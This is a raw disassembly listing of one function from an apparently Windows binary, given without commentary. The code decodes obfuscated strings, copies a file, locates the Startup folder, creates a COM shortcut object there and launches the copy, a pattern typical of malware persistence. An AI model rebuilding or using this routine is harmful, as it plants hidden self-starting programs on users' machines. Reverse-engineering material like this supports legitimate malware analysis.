mov word [ebp - 0x5e], 0x100
call fcn.00413450
mov dword [ebp - 0x40], eax
mov word [ebp - 0x10b], 0xab
lea ecx, [ebp - 0x10b]
mov byte [ebp - 0x109], 1
call fcn.00409f40
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1e4], 0x83d9d5d6
mov dword [ebp - 0x1e0], 0xd8d996
mov byte [ebp - 0x1dc], 1
call fcn.00409ee0
lea ecx, [ebp - 0x1db]
mov dword [ebp - 0x1db], 0x83d9d5d6
mov ebx, eax
mov dword [ebp - 0x1d7], 0xd8d98a
mov byte [ebp - 0x1d3], 1
call fcn.00409ee0
mov edi, eax
lea ecx, [ebp - 0x4d0]
lea eax, [ebp - 0x868]
push eax
call fcn.00402980
mov esi, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x292]
mov dword [ebp - 0x292], 0x839e9687
mov dword [ebp - 0x28e], 0x88918a99
mov dword [ebp - 0x28a], 0x8d9dd2dc
mov dword [ebp - 0x286], 0x66766065
mov dword [ebp - 0x282], 0x27602a24
mov dword [ebp - 0x27e], 0x2b5f5b27
mov word [ebp - 0x27a], 0x2e
mov byte [ebp - 0x278], 1
call fcn.004159a0
push esi
mov edx, eax
lea ecx, [ebp - 0x4e8]
call fcn.0046e530
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x6e4]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x76
push ecx
mov edx, eax
lea ecx, [ebp - 0x6cc]
call fcn.0046e650
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x6b4]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x69c]
call fcn.0046e650
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x350]
push dword [ebp - 0x14]
mov edx, eax
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x7a
push ecx
mov edx, eax
lea ecx, [ebp - 0x368]
call fcn.0046e460
add esp, 4
push dword [ebp - 0x40]
mov edx, eax
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x2e8]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x368]
call fcn.004028d0
lea ecx, [ebp - 0x350]
call fcn.004028d0
lea ecx, [ebp - 0x69c]
call fcn.004028d0
lea ecx, [ebp - 0x6b4]
call fcn.004028d0
lea ecx, [ebp - 0x6cc]
call fcn.004028d0
lea ecx, [ebp - 0x6e4]
call fcn.004028d0
lea ecx, [ebp - 0x4e8]
call fcn.004028d0
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x84
call fcn.004028d0
sub esp, 0x18
lea ecx, [ebp - 0x2e8]
mov esi, esp
call fcn.00402a20
push eax
mov ecx, esi
call fcn.00402980
xor cl, cl
call fcn.00415b90
add esp, 0x18
lea ecx, [ebp - 0x2e8]
call fcn.004028d0
lea ecx, [ebp - 0x450]
call fcn.004028d0
mov ebx, dword [ebp - 0x34]
lea ecx, [ebp - 0x2c]
call fcn.004028d0
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x50
call fcn.004028d0
cmp byte [ebp - 0x46], 0
je 0x449180
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], 0xa7bbb0a0
mov word [ebp - 0x16c], 0x100
call fcn.00409eb0
push eax
call fcn.004edf21
add esp, 4
test eax, eax
je 0x449180
push eax
lea ecx, [ebp - 0x25c]
call fcn.00402980
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xdb]
mov word [ebp - 0xdb], 0xa8
mov byte [ebp - 0xd9], 1
call fcn.00409f40
push eax
lea ecx, [ebp - 0x25c]
call fcn.0046a570
lea ecx, [ebp - 0xde]
mov word [ebp - 0xde], 0xab
mov byte [ebp - 0xdc], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0x4e8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x86
push ecx
mov edx, eax
lea ecx, [ebp - 0x4d0]
call fcn.0046e460
add esp, 4
push eax
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x87
call fcn.0046a580
lea ecx, [ebp - 0x4d0]
call fcn.004028d0
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x85
call fcn.004028d0
lea ecx, [ebp - 0x25c]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x448e8c
lea ecx, [ebp - 0x25c]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x450]
call fcn.00402980
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x450]
or ebx, 0x2000
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.00415a10
mov byte [ebp - 0xd], 0
test al, al
je 0x448e90
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x85
test ebx, 0x2000
je 0x448eb6
and ebx, 0xffffdfff
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call fcn.004028d0
cmp byte [ebp - 0xd], 0
je 0x449171
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], 0x928e90da
mov word [ebp - 0x190], 0x100
call fcn.00409eb0
lea ecx, [ebp - 0xe1]
mov word [ebp - 0xe1], 0xa8
mov esi, eax
mov byte [ebp - 0xdf], 1
call fcn.00409f40
push eax
lea edx, [ebp - 0x25c]
lea ecx, [ebp - 0x4e8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x89
push ecx
mov edx, eax
lea ecx, [ebp - 0x4d0]
call fcn.0046e650
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x2e8]
call fcn.0046e460
add esp, 4
lea ecx, [ebp - 0x4d0]
call fcn.004028d0
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x8d
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x2e8]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x448fa1
lea ecx, [ebp - 0x2e8]
call fcn.00402a20
lea ecx, [ebp - 0x540]
mov esi, eax
call fcn.00402a20
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x449166
lea eax, [ebp - 0x868]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x449166
lea eax, [ebp - 0x868]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402980
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x18e]
mov dword [ebp - 0x18e], 0x9c9899da
mov word [ebp - 0x18a], 0x100
call fcn.00409eb0
mov esi, eax
mov word [ebp - 0xe4], 0xa8
lea eax, [ebp - 0xd8]
mov byte [ebp - 0xe2], 1
push eax
lea ecx, [ebp - 0xe4]
call fcn.00409f40
mov edx, eax
lea ecx, [ebp - 0x4e8]
call fcn.0046e4d0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x4d0]
call fcn.0046e460
add esp, 4
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x90
call fcn.0046a580
lea ecx, [ebp - 0x4d0]
call fcn.004028d0
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x8e
call fcn.004028d0
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
jne 0x44915e
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x44915e
lea eax, [ebp - 0x5c]
push eax
push 0x50f520
push 1
push 0
push 0x50f550
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x449158
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x2e8]
mov eax, dword [eax]
mov esi, dword [eax + 0x50]
call fcn.00402a20
push eax
push dword [ebp - 0x5c]
call esi
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0xd8]
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
call fcn.00402a20
push eax
push dword [ebp - 0x5c]
call esi
mov ecx, dword [ebp - 0x5c]
lea edx, [ebp - 0x310]
push edx
push 0x50f530
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x44914f
push 0x208
lea eax, [ebp - 0xb40]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0xb40]
lea ecx, [ebp - 0x2c]
push 0x104
push eax
push 0xffffffffffffffff
call fcn.00402a20
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x310]
lea edx, [ebp - 0xb40]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x310]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x2c]
call fcn.004028d0
lea ecx, [ebp - 0x2e8]
call fcn.004028d0
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x50
call fcn.004028d0
lea ecx, [ebp - 0x540]
call fcn.00402a20
lea ecx, [ebp - 0x176]
mov dword [ebp - 0x176], 0x9993859b
mov esi, eax
mov word [ebp - 0x172], 0x100
call fcn.00409eb0
push 1
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 0x18
lea eax, [ebp - 0x58c]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x91
mov ecx, esp
push 0x534d5c
call fcn.0046a770
mov byte [ebp - 4], 0x50
call fcn.0041fa40
add esp, 0x30
lea ecx, [ebp - 0x4b8]
call fcn.004028d0
lea ecx, [ebp - 0xd8]
call fcn.004028d0
lea ecx, [ebp - 0x32c]
call fcn.004028d0
lea ecx, [ebp - 0x540]
call fcn.004028d0
lea ecx, [ebp - 0x390]
call fcn.0046c860
lea ecx, [ebp - 0x30c]
call fcn.004028d0
lea ecx, [ebp - 0x39c]
call fcn.0046c860
lea ecx, [ebp - 0x3a8]
call fcn.0046c860
lea ecx, [ebp - 0x574]
call fcn.004028d0
lea ecx, [ebp - 0x438]
call fcn.004028d0
lea ecx, [ebp - 0x614]
call fcn.004028d0
lea ecx, [ebp - 0x684]
call fcn.004028d0
lea ecx, [ebp - 0x58c]
mov byte [ebp - 4], 7
call fcn.004028d0
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x528]
call fcn.004675a0
lea eax, [ebp - 0x624]
push eax
lea ecx, [ebp - 0x528]
call fcn.0046bb50
test al, al
je 0x446300
lea ecx, [ebp + 8]
call fcn.004028d0
lea ecx, [ebp + 0x20]
call fcn.00468450
lea ecx, [ebp + 0x30]
call fcn.00468450
lea ecx, [ebp + 0x40]
call fcn.00468450
lea ecx, [ebp + 0x50]
call fcn.00468450
lea ecx, [ebp + 0x60]
call fcn.00468450
lea ecx, [ebp + 0x70]
call fcn.00468450
lea ecx, [ebp + 0x80]
call fcn.004028d0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret